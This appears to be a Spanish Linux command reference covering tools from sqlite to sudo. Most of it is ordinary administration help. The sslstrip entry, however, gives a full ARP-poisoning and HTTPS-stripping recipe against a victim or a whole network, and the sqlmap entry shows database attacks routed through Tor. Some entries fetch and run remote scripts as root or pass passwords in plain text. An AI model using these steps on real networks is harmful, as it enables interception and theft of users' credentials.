sqlite> .quit (salir de sqlite)
```

```
sqlite> select * from nombre; (muestra los datos de la tabla "nombre")
```

```
sqlite> .mode tabs nombre (La proxima vez que se lance el comando anterior mostrará la tabla tabulada)
```

```
sqlite> .headers on (si queremos mostrar el nombre de cada columna)
```

1- Un ejemplo de creación de una tabla:

```
sqlite> CREATE TABLE Datos (
...> id integer primary key autoincrement,
...> Apellido char(30) not null,
...> Nombre char(30) not null,
...> Observaciones char(60));
Nota.- id es un número que se va incrementando con cada entrada y entre parentesis los espacios reversados para cada dato.
```

```
sqlite> insert into Datos(Nombre, Apellido, Observaciones) Values('juan', 'Sanchez', 'Un
amigo de la infancia');
sqlite> insert into Datos(Nombre, Apellido, Observaciones) Values('José Antonio', '
Rodriguez', 'Primo de mi tío Carlos');
```



## sqlmap

Provee automatismos para testear la seguridad entre una aplicación web y la base de datos con la que interactúa. Descarga:

```
$ git clone git://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap
```

```
$ python sqlmap.py -u "http://una_url.com"
forma básica
```

```
$ python sqlmap.py --tor --tor-type=SOCKS5 --check-tor -v -u "http://una_url.com"
```

Algunas opciones:

--tor --tor-type=SOCKS5 (que use la red Tor para las peticiones)

--check-tor (comprobar si Tor se usa correctamente)

-v 6 (con la máxima información. Por defecto 1. Máximo 6)

-a (Recuperar todo)

## squid

Proxy caché (intermediario para nuestra conexión a internet, guardando las páginas visualizadas en una caché)

```
# cp /etc/squid3/squid.conf{,.defaults}
Realizar copia de seguridad de la configuración
```

```
# nano /etc/squid3/squid.conf
```

Modificamos/adaptamos los siguientes ajustes básicos:

http\_port 3128 #puerto de escucha

cache\_mem 100 MB #Tamaño memoria caché

cache\_dir ufs /var/spool/squid 700 16 256 #directorio y tamaño

acl NuestraRed src 192.168.1.0/24 #Nombre y red a la que afecta

http\_access allow NuestraRed #permitir acceso a toda la red

http\_access allow deny all #Denegamos a los de fuera de la red

auth\_param basic /usr/lib/squid/ncsa\_auth /etc/squid/passwd #ruta a usuarios

auth\_param basic realm Mensaje de acceso #mensaje al logearse

auth\_param basic children 5 #Procesos de autenticación

auth\_param basic basic credentialsttl 1 hours #tiempo

```
# squid3 -k parse
Revisión de la sintaxis del archivo squid.conf
```

Después de las modificaciones reiniciar servicio:

```
# /etc/init.d/squid3 restart
```

Configuración de usuarios (/etc/squid/passwd):

```
# htpasswd -c /etc/squid3/passwd user1
Crear archivo [-c] nombre de usuario y pedirá contraseña
```

```
# htpasswd /etc/squid3/passwd usuario2
Sin parámetro -c porque el archivo ya está creado. Otro usuario y contraseña
```

## srn

[secure-delete]. Aplicación para eliminar de forma segura datos de disco sobrescribiendo su espacio. Es de funcionamiento lento, pero por eso se le considera el más efectivo

```
$ srm -f dir
Modo rápido i el más inseguro
```

```
$ srm -l dir
Como realizar dos veces srm -f
```

```
$ srm archivo.txt
Se sobrescribe 38 veces
```

```
$ srm -rzv dir
se sobrescriben 38 veces los archivos y subdirectorios incluidos [r], sobrescribndero ceros en el
último borrado [z] y mostrando el proceso [v]
```

## srptool

[gnutls]. Programa simple que emula los programas de las librerías SRP (Secure Remote Password). Está pensado para su uso en lugares donde no se espera que la autenticación SRP sea la utilizada por los usuarios del sistema. Para utilizar SRP es necesario crear dos ficheros, el archivo de contraseñas que contiene los usuarios y los verificadores asociados a ellos y el archivo de configuración que contiene los parámetros del grupo.

```
# srptool --create-conf /etc/tpasswd.conf
crear el archivo de configuración
```

```
# srptool --passwd /etc/tpasswd --passwd-conf /etc/tpasswd.conf -u root
creará /etc/tpasswd y añadirá el usuario root. Pedirá contraseña
```

```
# srptool --passwd /etc/tpasswd --passwd-conf /etc/tpasswd.conf --verify -u root
entrar contraseña y verificar si coincide con la entrada en /etc/tpasswd obtendrá
```

## ss

Utilidad para investigar sockets. Sustituye a netstat.

```
# ss -r
resolviendo las IPs
```

```
# ss -4
muestra las conexiones IPv4
```

```
# ss -ta
conexiones TCP
```

```
# ss -ua
conexiones del protocolo UDP
```

```
# ss -n
sin resolver
```

```
# ss
muestra todas las direcciones y puertos tanto en modo escucha como no
```

```
# ss -l
muestra los que estan esperando conexión
```

```
# ss -ltn
muestra los sockets TCP que estan en "listen" [escucha]
```

```
# ss -lun
muestra los sockets UDP que estan en "listen"
```

```
# ss -o
```

```
con conexión establecida
```

```
# ss -p
con la aplicación que los motiva
```

```
# ss -a | grep ssh
De todas las conexiones, solo muestra las ssh
```

```
# ss -s
estadísticas generales
```

```
# ss -tpan 'sport = :22'
ver conexiones por el puerto 22
```

```
# ss -n dst :443
muestras las del puerto 443
```

```
# ss -o state established '( dport = :https )'
muestra las conexiones https
```

## sscg

Crea certificados "autofirmados" más seguros.

```
$ sscg --country=ES --state=Girona --locality=Olot --organization=lapipaplana
```

```
Wrote service certificate key to /home/USER/service-key.pem
```

```
Wrote service certificate to /home/USER/service.pem
```

```
Wrote CA certificate to /home/USER/ca.crt
```

```
Wrote Diffie-Hellman parameters to /home/USER/dhparams.pem
```

## ssh

Comunicación cifrada entre dos máquinas.

```
$ ssh usuario@host
básica
```

```
$ ssh -v usuario@IP_o_host
comprobar errores en una conexión
```

```
$ ssh -p 4000 usuario@host
especificando un puerto
```

```
$ ssh -fND localhost:2080 usuario@host
Crear un servidor proxy en una máquina remota. La N es para que no se puedan ejecutar comandos
```

```
$ ssh -X -Y usuario@host akregator
Lanzar una aplicación remota en local. Ver punto 11 de esta entrada
```

```
$ ssh usuario@host ls
lanzar un comando remoto y visualizarlo en local
```

```
$ ssh -t usuario@host newsbeuter
lo mismo si precisa consola
```

```
$ ssh -D 9999 usuario@host
abrir un puerto a partir del cual tunelar una conexión
```

```
$ ssh user@host_ip 'DISPLAY=":0.0" import -window root screenshot.png'
realizar pantallazo de una sesión remota. Se archiva en el remoto no en local
```

```
$ ssh usuario@host "tar -cf - /home/usuario/dir" | gzip dir.tar.gz
```

Comprimir un directorio remoto

```
$ ssh usuario@host cat /home/usuario/archivo.txt | xclip -selection
Copiar el contenido de un archivo remoto en el clipboard local
```

```
$ ssh -o "StrictHostKeyChecking no" usuario@host
Evitar verificación de known host al conectar
```

```
# gedit /var/run/motd
modificar el mensaje de bienvenida de ssh
```

1.-

conexión remota. El servidor ha de tener el archivo `/etc/ssh/sshd_config` con los siguientes parámetros:

`AllowTcpForwarding yes`

`GatewayPorts yes`

Luego configurar Firefox para usar un servidor proxy 127.0.0.1 puerto 9999.

2.-

Modificar el mensaje antes del login

```
# gedit /etc/issue.net
Para activarlo, descomentar del archivo /etc/ssh/sshd_config la línea: Banner /etc/issue.net
```

3.-

Tunel inverso:

```
$ ssh -R 10000:localhost:22 usuario2@host2
lanzado desde host1 hacia host2 crea un tunel por el puerto 10000
```

```
$ ssh usuario2@host2
Lanzado desde host3 hacia host2
```

Una vez entrado en host2, lanzar:

```
$ ssh usuario1@localhost -p 10000
Para conectar el host3 con el host1
```

Otro caso de tunel inverso:

host1 no tiene acceso al router y lanza:

```
$ ssh -N usuario@host2 -R 2222:127.0.0.1:22
hacia el host2 para crear un tunel por el puerto 2222
```

```
$ ssh usuario@host2
Usuario host3 se conecta a host2
```

```
$ ssh usuario@127.0.0.1 -p 2222
Y una vez entrado en host2 se conecta por el tunel a host1
```

Nota.- Si host2 no corriera por el puerto 22 substituir por: `usuario@host2 -p PUERTO`

4.-

Crear clave publica para acceder a un remoto sin que pida identificación:

```
$ ssh-keygen -b 4096 -t rsa
Crear la clave
```

```
$ ssh-copy-id usuario@IP_o_HOST
enviar la clave al remoto
```

En caso de tener la conexión en un puerto distinto:

## S

```
$ ssh-copy-id -p 7000 USER@HOST
```

5.-

Para deshabilitar el acceso a todos los usuarios excepto a root:

```
# touch /etc/nologin
```

```
# chmod 644 /etc/nologin
```

6.-

Deshabilitar/personalizar los mensajes que aparecen cuando nos logueamos en algunas distros a un host remoto mediante SSH.

```
$ touch /home/usuario/.hushlogin
```

Creando este fichero vacío se deshabilitan los mensajes. Borrándolo vuelven a aparecer

```
# nano /etc/motd
```

Archivo para personalizar los mensajes de bienvenida a quien se loguea en el sistema

7.-

Crear un atajo para la conexión a servidores remotos:

```
$ nano .ssh/config
```

Y pegar el siguiente contenido debidamente modificado con nuestros datos referente a dos hosts remotos:

```
host servidor
  hostname 192.168.1.10
  port 22000
  user USUARIO_SERVIDOR
host maquina1
  hostname 192.168.1.15
  port 22100
  user USUARIO_MAQUINA1
```

Nota.- Delante de las líneas hostname, port y user existe un espacio.

Al crear este archivo, la conexión se realizará con:

```
$ ssh servidor
```

Pedirá igualmente contraseña

```
$ ssh maquina1
```

8.-

Evitar desconexiones por inactividad:

```
$ nano .ssh/config
```

Y pegar el siguiente contenido:

```
Host *
  ServerAliveInterval 120
  ServerAliveCountMax 3
```

9.-

Añadir un registro de las acciones realizadas dentro de cada sesión SFTP

```
# nano /etc/ssh/sshd_config
```

Y dejar la línea como se indica:

```
Subsystem sftp /usr/lib/openssh/sftp-server -l INFO
```

Tras reiniciar ssh, el registro se plasmará en /var/log/auth.log

10.-

Aumentando la seguridad del servidor ssh:

```
# nano /etc/ssh/sshd_config
```

Y añadir o modificar las siguientes líneas:

```

    AllowUsers juan pedro andrés (Limitando a uno o varios los usuarios autorizados)
    AllowGroup oficina (Restringir acceso a solo un grupo)
    Port 372 (Modificando puerto. Aconsejable uno inferior al 1024)
    LoginGraceTime 40 (Mostrar la pantalla de login 40 segundos antes de cerrarse)
    MaxStartups 4 (Cantidad máxima de conexiones simultaneas)
    MaxAuthTries 3 (Limitar el número de intentos de logeo, tras los cuales se cierra la
        conexión)
11.-

```

Ajustes para tunelar aplicaciones gráficas:

En el servidor:

```
# nano /etc/ssh/sshd_config
```

```

    AllowTcpForwarding yes
    X11Forwarding yes
    X11DisplayOffset 10
    X11UseLocalhost yes

```

En la máquina cliente:

```
# nano /etc/ssh/ssh_config
```

```

    ForwardX11 yes
    ForwardX11Trusted yes
Después de reiniciar ssh, con el parámetro -X se visualizará la gui remota que tambien tiene que
    estar instalada en local.

```

```
$ ssh -X usuario@host akregator
```

## ssconvert

[gnnumeric]. Conversor de formatos de hoja de cálculo por línea de comandos.

```
$ ssconvert --list-exporters
Listado de conversiones de salida
```

```
$ ssconvert --list-importers
Litado de conversiones de entrada
```

```
$ ssconvert entrada.xls salida.csv
De formato excel a csv
```

```
$ ssconvert -E utf-8 entrada.xls salida.csv
Especificando una codificación para la salida
```

```
$ ssconvert --export-type=Gnumeric_stf:stf_assistant -O 'separator=| format=preserve charset=
unicode' entrada.xls salida.csv
Especificando opcionalmente un exportador [--export-type] que permite exportar a txt,
especificando un separador de campos que no sea el por defecto [el espacio] sinó la barra vertical
[|], preservando el formato de las celdas del original [format], otras opciones de format son "
automatic" [por defecto] y "raw" [sin formato] y con codificación de salida en unicode [por
defecto UTF-8]
```

## ssed

Versión mejorada de GNU sed [ver] con algunos argumentos nuevos.

## ssft

Biblioteca de funciones de Shell. La biblioteca define un conjunto de varias funciones y ha sido diseñada para usarse obteniendo el código de la biblioteca de otros scripts. El ejecutable incorpora .sh.

```
$ ssft.sh -d
listado de funciones diponibles
```

```
$ ssft.sh -d ssft_file_selection
descripción de una función
```

## sshd

Demonio ssh

```
$ sshd -t
Verificar si existen errores en el archivo de configuración
```

## sshfs

Montar un sistema de archivos remoto en local.

```
# sshfs usuario@host_o_IP:/home/usuario /home/usuario/remoto
# fusermount -u /home/usuario/remoto
Desmontarlo
```

## sshguard

Demonio que protege SSH y otros servicios contra ataques de fuerza bruta. Funciona observando los cambios en /var/log/auth.log, verificando si alguien esta fallando varias veces al autenticarse. Luego de varios errores de autenticacion (por defecto 14) el host ofensivo sera bloqueado por 7 minutos y se duplicará cada vez que el host ofensivo repita el ataque. Carece de archivo de configuración y puede complementarse con iptables:

```
# iptables -A INPUT -j sshguard
Para activarlo en todos los puertos

# iptables -A INPUT -m multiport -p tcp --destination-ports 21,22 -j sshguard
Para puertos concretos [ftp y ssh]
```

El archivo para colocar las direcciones no afectadas por sshguard:

```
# nano /etc/sshguard/whitelist
```

Con el siguiente formato:

```
192.168.1.53 (Una ip)
192.168.1.0/24 (Un rango)
lapipaplana.net (Un host)
```

## ssh-keygen

Creación, gestión y conversión de claves utilizadas para la autenticación de cliente y servidor. Cuando no se especifica ninguna opción, ssh-keygen genera un par de claves RSA de 2048 bits y solicita un nombre de clave y una frase de paso para proteger la clave privada. Las claves públicas se crean usando el mismo nombre base que la clave privada con una extensión .pub añadida. La ubicación de la clave se muestra cuando se completa la generación de claves. Ver ssh

```
$ ssh-keygen -lvf ~/.ssh/known_hosts
Ver todas las huellas digitales y las imágenes randomart

$ ssh-keygen -t rsa -C newserver -f .ssh/newkey
Generar el par de llaves publica y privada. Caso de existir preguntará si se sobrescribe

$ ssh-keygen -B -f .ssh/id_rsa.pub
Muestra la huella digital de la llave especificada en formato SHA-1

$ ssh-keygen -f "$HOME/.ssh/known_hosts" -R [La_URL.com_entre_corchetes]:22
Suprimir un clave de un host por sufrir alguna modificación y el puerto

$ ssh-keygen -R HOST
Otra forma de suprimir una clave de un host modificado
```

1.-

Para ver la huella digital cada vez que se ingresa en un host remoto:

```
# nano /etc/ssh/ssh_config
```

Descomentar la linea y dejarla:

VisualHostKey yes

## sshpas

La contraseña para acceder por ssh a un host remoto se realiza de forma interactiva (entrándola por teclado) en algunos casos esto no es posible ya sea por tratarse de un script en el que se entra en un host remoto, se realiza alguna acción y se regresa al local o por que se precisa entrar la contraseña de forma no interactiva. Para estos casos puede ser útil este comando aunque considerando lo debil para la seguridad que entraña su uso ya que puede quedar registrado en "history".

```
$ sshpass -f file_pas ssh -y usuario@host ifconfig
```

Ejecuta ifconfig en el remoto entrando como contraseña la primera palabra del archivo file\_pas

```
$ sshpass -p 1234 ssh -t usuario@host "echo 1234 | sudo -S nmap 192.168.1.0/24"
```

Ejecuta el comando "sudo nmap" en el host remoto que tiene por contraseña 1234.

## sshuttle

Levanta VPNs con SSH y enruta tráfico a través de ellos

```
# sshuttle -r usuario@servidor 0/0
```

Ejecución básica para redireccionar la totalidad del tráfico

```
# sshuttle --dns -vvr usuario@servidor 0/0
```

que las consultas DNS sean procesadas a través del servidor DNS del servidor al que se está conectado

```
# sshuttle --daemon usuario@servidor 0/0 --exclude 192.168.1.0/24 --exclude 90.173.123.64
```

ejecutar el proceso en segundo plano y excluir una rango y una ip

## sslstrip

Herramienta para engañar al usuario haciéndole pensar que se encuentra en un sitio de Internet con cifrado SSL [HTTPS], cuando en realidad todos los datos están siendo transmitidos en abierto [HTTP].

Configuración de reenvío de paquetes IP:

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Envenenamiento ARP (paquete dsniff):

```
# arpspoof -i eth0 -t ip_victima ip_router
```

En caso de querer atacar toda la red, solo especificar la ip router:

```
# arpspoof -i eth0 ip_router
```

Redirección de puertos usando Iptables:

```
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 31715
```

Al reiniciar el ordenador se borrará la regla, si se quiere borrar al momento cambiar "-A" por un "-D" en el comando anterior.

Arrancar sslstrip y ponerlo a la escucha:

```
# sslstrip -k -f -l 31715 -w archivo.log
```

Visionar en tiempo real los paquetes capturados:

```
# tail -f archivo.log
```



## ssmtp

[mailutils]. Herramienta que permite enviar correos a partir de un servidor externo (p.g gmail). Como remitente constará "root" ya que, en algunas distros, es quien tiene que enviar los correos. Ajustes en el archivo de configuración:

```
# nano /etc/ssmtp/ssmtp.conf
```

Modificar las lineas:

```
root=correo@gmail.com
mailhub=smtp.gmail.com:587
hostname=el_hostname
UseSTARTTLS=YES
AuthUser=correo@gmail.com
AuthPass=Contraseña_del_usuario_de_gmail
A continuación establecer permisos:
```

```
# chmod 640 /etc/ssmtp/ssmtp.conf
```

```
# chown root:mail /etc/ssmtp/ssmtp.conf
```

Lanzar la aplicación:

```
# ssmtp fulano@hotmail.com
```

Y colocar el texto:

```
To: fulano
Subject: Asunto
---- Una linea en blanco ----
El cuerpo de texto del correo
Hasta la proxima.
Ctrl+d para terminar. Cuando vuelva a salir el prompt del sistema es que el mensaje ya se ha
enviado.
```

## sswap

[secure-delete]. Borrado seguro de swap. Previamente desactivar con swapoff /dev/sda7 y al finalizar el proceso volver a activarla con swapon /dev/sda7 [Si no sabemos donde se encuentra la swap: cat /proc/swaps. Argumentos paracidos a srm [ver] y sfill [ver]. El espacio se sobrescribe 38 veces.

```
$ sswap -f /dev/sda7
Modo rápido e inseguro
```

```
$ sswap -lv /dev/sda7
Como lanzar dos veces sswap -f y mostrando el proceso
```

## st

Terminal simple.

```
$ st -t Reiniciar -e sudo init 6
Abrir un terminal st con título para entrar la contraseña y reiniciar
```

## stalonetray

Applet para albergar el area de notificación.

```
$ stalonetray -bg #A78B5C -d title -geometry 6x1-0+0 -i 30
con el color especificado [-bg], decoración de ventana [-d], las medidas [6x1] y la situación en
pantalla [-0+0, abajo, derecha]
```

Algunas opciones:

```
-d      (none, title, border, all)
```

## S

---

situación:

Abajo a la izquierda      5x1+0-0

Abajo en el centro (1024x768) + 20 píxeles elevado      5x1-450-20

Abajo a la derecha      5x1-0-0

Arriba a la izquierda      5x1+0+0

Arriba a la izquierda + 20 píxeles descendido      5x1+0+20

Arriba en el centro (1024x768)      5x1+450+0

Arriba a la derecha      5x1-0+0

Arriba a la derecha + 20 píxeles descendido      5x1-0+20

Abajo a la izquierda + 20 píxeles elevado      5x1+0-20

## starship

Un prompt para la terminal escrito en Rust, mínimo, rápido y personalizable. Descargar:

```
$ curl -fsSL https://starship.rs/install.sh | bash
```

Para incorporarlo a bash entrar en ~/.bashrc la línea:

```
eval "$(starship init bash)"
```

Y recargar:

```
$ source ~/.bashrc
```

## startlxde

Iniciar sesión de escritorio LXDE. Por defecto, carga openbox, lxpanel, pcmanfm, dbus-launch y lxsession.

```
$ startlxde
```

## startx

Arrancar sistema gráfico

```
$ startx -- :1
una segunda sesión gráfica accesible en ^Alt + F8
```

## stat

Estadísticas de archivo, directorios y sistemas

```
# stat /etc/passwd
```

```
# stat -c '%A %a' /etc/passwd
```

Mostrar los permisos de forma clásica i en formato octal

```
# stat /usr
```

```
# stat -f /
```

```
$ stat -c "%s" archivo
```

```
medida del archivo
```

```
$ stat -c '%n %U:%G-%a' *
```

Mostrar nombre archivo, propietario, grupo y permisos en formato octal

```
$ stat / | awk '/Naixement:/{print $2 " " substr($3,1,5)}'
```

fecha de instalación del sistema

Nota.- Si la instalación fue en castellano sustituir "Naixement" por "Creación" o "Bird" si en inglés)

## status

Verifica si un servicio está activo o no.

```
$ status ssh
```

## stdbuf

Ejecutar comandos con operaciones modificadas para almacenamiento en búfer.

```
$ tail -f /var/log/apache2/access.log | stdbuf -oL cut -d ' ' -f1
```

ver accesos únicos

```
$ stdbuf -o 0 ls
```

```
$ stdbuf -o0 -e0 ls >> log_file
```

## stdsyslog

La utilidad ejecuta un programa, lee todo lo que genera en un conjunto de descriptores de archivos y los muestra de forma determinada por la salida estándar y error estándar y lo registra en el registro del sistema [/var/log/syslog o si existen errores en /var/log/error].

```
$ stdsyslog -l
```

lista los niveles de syslog disponibles

```
$ stdsyslog -p archivo
```

archivo en el que escribir el ID

```
$ stdsyslog -p archivo -d 1:alert -d 2:crit -d 3:info programa
```

## steghide

Detectar y extraer mensajes incrustados dentro de una imagen o música

```
$ steghide embed -cf imagen.jpg -ef archivo_texto
```

incrustar un texto en una imagen

```
$ steghide embed -cf archivo.wav -ef archivo_texto
```

incrustar un texto en un archivo de música

```
$ steghide extract -sf imagen.jpg
```

extraer el archivo incrustado

## stjerm

Consola tipo quake.

```
$ stjerm -k f12 -s left -o 70 -h 250 -w 1280
```

Que aparezca pulsando F12, con barra de escroll a la izquierda, opacidad del 70% y especificando ancho y largo

Algunas opciones:

-ah (Ocultar automáticamente la ventana cuando no está enfocada)

-bg red (Color de fondo)

-bgimg imagen.png (Establecer una imagen de fondo)

-fn (Tipo y tamaño de fuente)

-fg blue (Color de la fuente)

-p (Posición de la ventana [valores: top, bottom, left, right])

## strace

Muestra las llamadas al sistema originadas por un proceso.

```
$ strace comando
```

```
$ strace -p PID
```

Por número de proceso

```
$ strace -c comando -o traza.txt
```

mostrar resumen de llamadas y errores durante la ejecución y redirigido a un archivo

Algunas opciones:

-f (Incluir posibles forks que haga un programa, por ejemplo httpd)

-v (Muestra el máximo de información)

-s 8192 (Valor de 8192 como limite de longitud de las cadenas. Por defecto 32)

## streamripper

Ripear a partir de emisoras icecast ([www.icecast.com](http://www.icecast.com)) y showcast ([www.showtcast.com](http://www.showtcast.com)). Crea una carpeta en el presente directorio.

```
$ streamrippwer http://yp.shoutcast.com/sbin/tunein-station.pls?id=321414 -l 4000
```

grabar durante 4000 segundos

## stress

Herramientas para realizar un test de carga del sistema.

```
# stress -c 8 -i 4 -m 2 --vm-bytes 128M -t 20S
```

Opciones:

-c (8 multiples ciclos infinitos de raices cuadradas para la cpu)

-i (Introduce 4 ciclos infinitos que ejecutan la llamada al sistema sync())

--hdd-bytes 3G (carga de escritura en disco de 3G. Opciones: B,K,M,G)

-t 20s (Tiempo que durará el proceso, 20 segundos. Opciones: s,m,h,d,y)

## stressant

Colocar en varias partes del sistema (CPU, RAM, disco, red) una gran carga para detectar fallas y así asegurarse de que funcionen de manera confiable.

```
# stressant
prueba por defecto
```

```
# stressant --fileSize 1M --cpuBurnTime 1s --iperfTime 1
Prueba muy rápida, útil para ejecutar si está preocupado por el bloqueo de la máquina
```

```
# stressant --diskPercent 100% --overwrite --cpuBurnTime 24h --smart
Prueba exhaustiva con limpieza completa del disco y prueba larga SMART
```

```
# stressant --no-information --no-cpu --no-disk --iperfServer servidor.net
Prueba de red solo en un servidor dedicado
```

## stressapptest

Herramienta para realizar un test de carga del sistema.

```
# stressapptest -s 20 -M 256 -m 8 -C 8 -W
```

Algunas opciones:

-M mbytes (Cantidad de megabytes de memoria RAM para realizar las pruebas. Por defecto toda la disponible)

-s 20 (Tiempo que durará el proceso)

-m 8 (Cantidad de procesos de copiado de memoria)

-W (llevar al límite la cpu)

## strings

Analizar la memoria o una particion

```
$ strings /dev/mem
```

```
$ strings /dev/sda5
```

## stterm

En realidad el paquete se llama st pero en Debian se llama stterm por razones históricas. Es un emulador de terminal con un enfoque en la simplicidad, claridad y frugalidad. La filosofía del proyecto es mantener las cosas simples, mínimas y utilizables. st admite manejo del portapapeles, atajos de mouse y teclado, UTF-8, ancho de caracteres, redimensionar, 256 colores.

## stty

Muestra/modifica las características del terminal o de un comando.

```
$ stty -a
muestra todas las teclas de control, algunas obsoletas. Las más útiles: ^c [para el comando actual], ^d [final de flujo de entrada], ^u [borrar desde la posición actual al principio de línea] y ^w [borrar desde la posición actual al principio de la palabra]
```

```
$ stty size
muestra número de columnas y líneas
```

```
$ stty speed
velocidad en baudios
```

```
$ stty -a | sed -e 's/;/\n/g' | grep eof
Ver una en concreto
```

```
$ stty eof ^F
Modificar la combinación de teclas de "eof" a Control+f. Por defecto seria Control+D
```

1-

```
#!/bin/bash
# ejemplo para desactivar echo
# para que no se visualice el pass
echo
stty -echo
read -p "Password: " PAS
stty echo
echo -e "\n"
echo $PAS
echo
```

## stumpwm

Gestor de ventanas atilado escrito en common lisp y que solo usa el teclado. Los mensajes de texto, por defecto, aparecen en la parte superior derecha de la pantalla. El archivo de configuración de los atajos está en `/usr/share/common-lisp/source/stumpwm/bindings.lisp`.

Atajos:

```
C-t C-g (Abortar lo que se haya pulsado)
C-t n [C-t Space] (Ir a la siguiente ventana de la lista)
C-t p (Ir a la ventana anterior de la lista)
C-t " (Seleccionar y enfocar una ventana de una lista)
C-t w (Imprime lista de ventanas, número y nombre)
C-t : (evalua [eval] expresiones: (+ 2 2): evalúa una suma de dos más dos, (loadrc):
    evalúa el fichero .stumpwmrc, (quit): sale de la sesión)
C-t o [C-t TAB] (En una ventana con varios paneles va saltando entre ellos)
C-t flechas (Mueve el foco de un panel hacia el panel del lado que se indique con las
    flechas)
C-t f (Seleccionar un panel por su número)
C-t s (Dividir una ventana o un panel horizontalmente)
C-t S (Dividir una ventana o un panel verticalmente)
C-t k (Mata el panel actual y el programa que ejecute)
C-t K (Equivalente a un kill -9 para el marco actual)
C-t c (Ejecutar una terminal. xterm por defecto)
C-t e (Ejecutar xemacs)
C-t a (Muestra hora y fecha)
C-t ! (Pregunta la aplicación gráfica que se quiere lanzar)
C-t R (Suprimir una división. Si sólo existe una se maximiza)
C-t b (Enviar el puntero del ratón a la esquina inferior derecha de la pantalla)
C-t - (Minimizar aplicaciones del panel o ventana y mostrar la "fondo raiz")
C-t Q (Eliminar todas la divisiones y maximizar el marco del foco)
C-t m (Ver el último mensaje. Pulsando nuevamente las teclas muestra los anteriores)
C-t t (Envia un C-t cuando se usan programas que usan esta combinación de teclas como
    firefox)
```

grupos (equivalente a escritorios):

```
C-t g c (Crear nuevo grupo)
C-t g g (Mostrar la lista de grupos)
C-t g N [C-t g SPC] (Ir al siguiente grupo de la lista)
C-t G (Ver todos los grupos y las ventanas de cada grupo)
C-t g p (Ir al grupo anterior de la lista)
C-t Fn (Salta al grupo "n" [F1, F2...])
C-t g k (Mata el grupo actual. todas las ventanas se fusionan con el siguiente grupo)
C-t g m (Mover la ventana actual al grupo que se le indique)
C-t g 2 (Ir al grupo con el dígito 2)
C-t g ' (Seleccionar un grupo por nombre o por número)
C-t g " (Seleccionar un grupo de una lista y cambiar a él)
C-t g A [C-t g r] (Cambiar el nombre del grupo actual)
```

Información y ayuda:

```

C-t i (Muestra información sobre la ventana actual)
C-t w (Muestra unos segundos información de todas las ventanas)
C-t F (Informa del panel activo)
C-t ? (Muestra los comandos de ayuda)
C-t h ? (lista atajos)
C-t h k (Describe una combinación de teclas que se especifique)
C-t h f (Describe una función que se especifique)
C-t h v (Describe una variable que se especifique)
C-t h w (Enumerar todas las secuencias de teclas asociadas a la orden especificada)
C-t h c (Describe el comando que se especifique)
C-t v (Mostrar la versión de stumpwm)
1.-

```

Para que se muestre la opción en el gdm:

```

# nano /usr/share/xsessions/stumpwm.desktop
Y pegar el siguiente texto:

```

```

[Desktop Entry]
Encoding=UTF-8
Name=StumpWM
Comment=Tiling Window Manager
Exec=/usr/bin/stumpwm
Icon=
loadType=Application
2.-

```

Colocar un fondo de pantalla:

```

$ nano .stumpwmrc
Si no existe lo creamos

```

Y añadimos fondo negro:

```

(set-bg-color "black")
O bien una imagen (Precisa paquete xloadimage):

(run-shell-command "xsetbg ~/fondos/fichero.png")
3.-

```

Abrir una sesión gráfica stumpwm junto a otra:

Crear un usuario con su home (P.e. pedro)

```
# useradd -d /home/pedro -s /bin/bash -m pedro
```

Entrar la contraseña de pedro:

```
# passwd pedro
```

Crear en su /home el archivo:

```
# nano .xinitrc
```

Con el contenido de la ruta a stumpwm:

```

/usr/bin/stumpwm
Entrar en una tty (P.e la tty3):

```

```

Ctrl + Alt + F3
Y logearse como pedro. Una vez entrado en el sistema lanzar:

```

```
$ startx
```

Y tendremos una sesión stumpwm en la tty8

## su

Cambiar de usuario

```
$ su -m
Cambia de root [#] a usuario normal [$]
```

Nota.- Tambien puede hacerse tecleando exit o con Ctrl + d

```
$ su -
cambia a root
```

```
$ su -c htop
Pedirá contraseña para lanzar htop, pero cuando se salga el prompt será de usuario, no de root
```

```
$ su -c "!!" root
Ejecutar el último comando ejecutado como root
```

```
$ su - usuario
recarga todos los archivos del perfil del usuario y se reseteen todos los paths y alias. Si no se especifica usuario, por defecto es root
```

## sublime-text

Editor. Descargar según arquitectura de <http://www.sublimetext.com/2> o via ppa (Debian):

```
$ wget http://blog.anantshri.info/content/uploads/2010/09/add-apt-repository.sh.txt
# mv add-apt-repository.sh.txt /usr/sbin/add-apt-repository
# chmod o+x /usr/sbin/add-apt-repository
# chown root:root /usr/sbin/add-apt-repository
# add-apt-repository ppa:webupd8team/sublime-text-2
# apt-get update
# apt-get install sublime-text-2
```

Teclas de control:

Ctrl + p (abrir cuadro de diálogo [goto anything] donde se entran las consultas)

:palabra (Buscar "palabra" en el archivo abierto)

:157 (Ir a la línea 157)

Ctrl + ` (Ir a la consola de sublime text)

Ctrl + Mayu + p (Acceder al control de paquetes. Entrando "Install package" se instalan nuevos plugins y con "Remove package" se desinstalan)

Ctrl + n (Abrir nuevo documento)

## subnetcalc

Calculadora de direcciones de subred IPv4/IPv6. Para una dirección IPv4 o IPv6 y una máscara de red o longitud de prefijo determinadas, calcula la dirección de red, la dirección de transmisión, el número máximo de hosts y el rango de direcciones de host. Además, imprime las direcciones en formato binario para mejor comprensión y puede identificar el tipo de dirección [multidifusión, local única, local de sitio, etc.] y extraer información adicional como por ejemplo, tipo, alcance, ID de interfaz, etc. También puede generar prefijos locales únicos IPv6.

```
$ subnetcalc 192.168.8.149
$ subnetcalc 192.168.8.1/24
$ subnetcalc lapipaplana.wordpress.com
```



## subversion

[Apache Subversion, svn]. Sistema de control de versiones centralizado. Los sistemas de control de versiones permiten que muchas personas, que pueden estar distribuidas geográficamente, colaboren en un conjunto de archivos [código fuente, sitios web, etc]. Incluye las siguientes herramientas svn, svnadmin, svnauthz, svnauthz-validate, svnbench, svndumpfilter, svnfsfs, svnlook, svnmucc, svnrndump, svnserve, svnsync y svnversion

## sudo

Utilidad que permite a un usuario ejecutar programas con privilegios de root. En algunas distros sólo el usuario creado durante la instalación puede ejecutar sudo con privilegios de root, los demás han de ser agregados al grupo admin. Incluye las aplicaciones: cvtsudoers [convertir entre formatos de archivo sudoers], sudoedit [Ejecutar comandos como otro usuario] y sudoreplay [enumera los registros de salida creados por sudo]

```
$ sudo -k
limpia la clave sudo introducida
```

```
$ sudo -u usuario comando
ejecutar el comando como un usuario privilegiado distinto de root
```

```
$ sudo -l
ver los permisos de sudo que tiene un usuario
```

```
$ sudo !!
Ejecutar el último comando con sudo
```

